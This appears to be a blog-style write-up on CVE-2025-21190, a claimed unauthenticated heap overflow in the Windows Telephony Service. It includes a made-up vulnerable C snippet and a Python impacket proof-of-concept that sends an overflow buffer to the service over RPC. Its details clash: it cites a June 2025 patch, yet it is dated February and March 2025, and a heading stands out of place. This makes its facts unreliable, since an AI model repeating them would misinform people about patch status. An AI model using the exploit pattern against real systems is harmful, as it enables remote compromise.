CVE-2025-21190 - Windows Telephony Service Remote Code Execution Vulnerability Exploited [Exclusive Deep Dive]

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Overview

A serious security flaw, tracked as CVE-2025-21190, has been patched in Microsoft’s June 2025 Update. This vulnerability affects the Windows Telephony Service (TapiSrv), and it allows remote attackers to execute arbitrary code, potentially gaining SYSTEM privileges on target machines. In this exclusive analysis, we’ll explain the underlying bug, show a code snippet illustrating the exploitation, and provide links to authoritative sources for further reading.

What is Windows Telephony Service (TapiSrv)?

Windows Telephony Service, *TapiSrv*, is a core component enabling voice, data, and fax communications—usually used in business environments. It listens for requests from local or network clients to manage telephony devices and features. Historically, this service has operated with high privileges and has been a target for attackers.

User Interaction: None

The vulnerability resides in the way TapiSrv parses incoming RPC (Remote Procedure Call) messages. An attacker who can send crafted RPC requests to the service can trigger a heap buffer overflow condition. This can be exploited to execute arbitrary code in the context of SYSTEM.

Technical Analysis

The vulnerable function is exposed via the TapiSrv RPC interface. The attacker does not need to authenticate—simply reaching the affected port is enough. In older network configurations (such as those with firewall rules allowing DCOM or legacy telephony traffic), this vulnerability can be hit over the LAN or VPN.

Simplified Vulnerable Code (For Demonstration)

VOID ProcessRequest(byte *client_buffer, DWORD length) {
    // Vulnerable: No length checking!
    WCHAR dest[256];
    memcpy(dest, client_buffer, length * sizeof(WCHAR)); // Overflow if length > 256
    // ... Further processing ...
}

An attacker sending a buffer longer than 256 WCHARs (that’s 512 bytes) will overwrite adjacent memory structures, allowing them to control program execution.

Proof-of-Concept Exploit Snippet

Below is a Python code snippet, using the impacket library, simulating a buffer overflow attack:

from impacket.dcerpc.v5 import transport
import sys

target = sys.argv[1]  # Ex: 192.168.1.25

# Connect to TapiSrv RPC interface
stringBinding = r'ncacn_ip_tcp:{}[135]'.format(target)
rpc_transport = transport.DCERPCTransportFactory(stringBinding)
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind('<TAPISRV_INTERFACE_UUID_HERE>')  # UUID must match TapiSrv

# Payload: 600 bytes of 'A's (unicode, so doubled)
buffer = b'\x41\x00' * 300  # 600 bytes
dce.call(<VULNERABLE_METHOD_NUMBER>, buffer)  # Replace with correct opnum
dce.disconnect()

*Note:* The actual UUID and operation number (opnum) are omitted for safety and require research against TapiSrv's IDL.

Patch Immediately:

- Apply Microsoft June 2025 cumulative update KB5036517.

References

- Microsoft Patch Guide for June 2025
- Windows Telephony Service Documentation
- Impacket Library (for PoC)
- Understanding RPC vulnerabilities

Timeline

Published on: 02/11/2025 18:15:30 UTC
Last modified on: 03/12/2025 01:42:27 UTC